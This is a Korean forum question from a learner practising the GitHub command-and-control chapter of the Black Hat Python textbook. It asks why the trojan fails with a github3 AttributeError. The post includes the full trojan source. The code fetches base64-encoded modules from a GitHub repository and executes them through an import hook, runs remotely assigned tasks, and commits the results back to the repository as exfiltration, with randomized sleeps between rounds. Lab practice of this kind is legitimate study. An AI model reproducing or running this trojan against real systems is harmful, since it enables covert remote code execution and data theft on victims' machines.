black hat 7장 깃허브 커맨드 앤 컨트롤 질문
조회수 673회
black hat python 교재의 7장에 있는 깃허브 커맨드 앤 컨트롤 내용을 파이썬 버전 2.7버전/3.6버전 두 가지 버전을 통해 리눅스와 윈도우에서 실습을 진행해보려고 합니다.
공통적으로
Traceback (most recent call last):
File "trojan.py", line 122, in <module> module
config = get_trojan_config()
File "trojan.py", line 81, in get_trojan_config
config_json = get_file_contents(trojan_config)
File "trojan.py", line 65, in get_file_contents
tree = branch.commit.commit.tree.recurse()
File "/usr/local/lib/python2.7/dist-packages/github3/models.py", line 58, in __getattr__
raise AttributeError(attribute)
AttributeError: recurse
이런 오류가 발생해서 더 이상의 진행을 하지 못하고 있습니다.
git_trojan.py 라는 트로이 목마의 코드는 이런식으로 짜져있습니다. 물론 python 3.6 버전에서는 코드의 변경이 좀 있지만 오류가 뜨는 형태는 위의 오류와 완전히 동일합니다. 참조 URL : https://nostarch.com/download/BlackHatPython_ch07.pdf
import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os
from github3 import login
trojan_id = "abc"
trojan_config = "%s.json" % trojan_id
data_path = "data/%s/" % trojan_id
trojan_modules= []
task_queue = Queue.Queue()
configured = False
class GitImporter(object):
def __init__(self):
self.current_module_code = ""
def find_module(self,fullname,path=None):
if configured:
print("[*] Attempting to retrieve %s" % fullname)
new_library = get_file_contents("modules/%s" % fullname)
if new_library is not None:
self.current_module_code = base64.b64decode(new_library)
return self
return None
def load_module(self,name):
module = imp.new_module(name)
exec self.current_module_code in module.__dict__
sys.modules[name] = module
return module
def connect_to_github():
gh = login(username="yourusername",password="password")
repo = gh.repository("yourusername","chapter7")
branch = repo.branch("master")
return gh,repo,branch
def get_file_contents(filepath):
gh,repo,branch = connect_to_github()
tree = branch.commit.commit.tree.recurse()
for filename in tree.tree:
if filepath in filename.path:
print("[*] Found file %s" % filepath)
blob = repo.blob(filename._json_data['sha'])
return blob.content
return None
def get_trojan_config():
global configured
config_json = get_file_contents(trojan_config)
config = json.loads(base64.b64decode(config_json))
configured = True
for task in config:
if task['module'] not in sys.modules:
exec("import %s" % task['module'])
return config
def store_module_result(data):
gh,repo,branch = connect_to_github()
remote_path = "data/%s/%d.data" % (trojan_id,random.randint(1000,100000))
repo.create_file(remote_path,"Commit message",base64.b64encode(data))
return
def module_runner(module):
task_queue.put(1)
result = sys.modules[module].run()
task_queue.get()
# store the result in our repo
store_module_result(result)
return
# main trojan loop
sys.meta_path = [GitImporter()]
while True:
if task_queue.empty():
config = get_trojan_config()
for task in config:
t = threading.Thread(target=module_runner,args=(task['module'],))
t.start()
time.sleep(random.randint(1,10))
time.sleep(random.randint(1000,10000))
도대체 무슨이유때문에 저런 오류가 생기는건가요? 제발 알려주세요!!
-
(•́ ✖ •̀)
알 수 없는 사용자
댓글 입력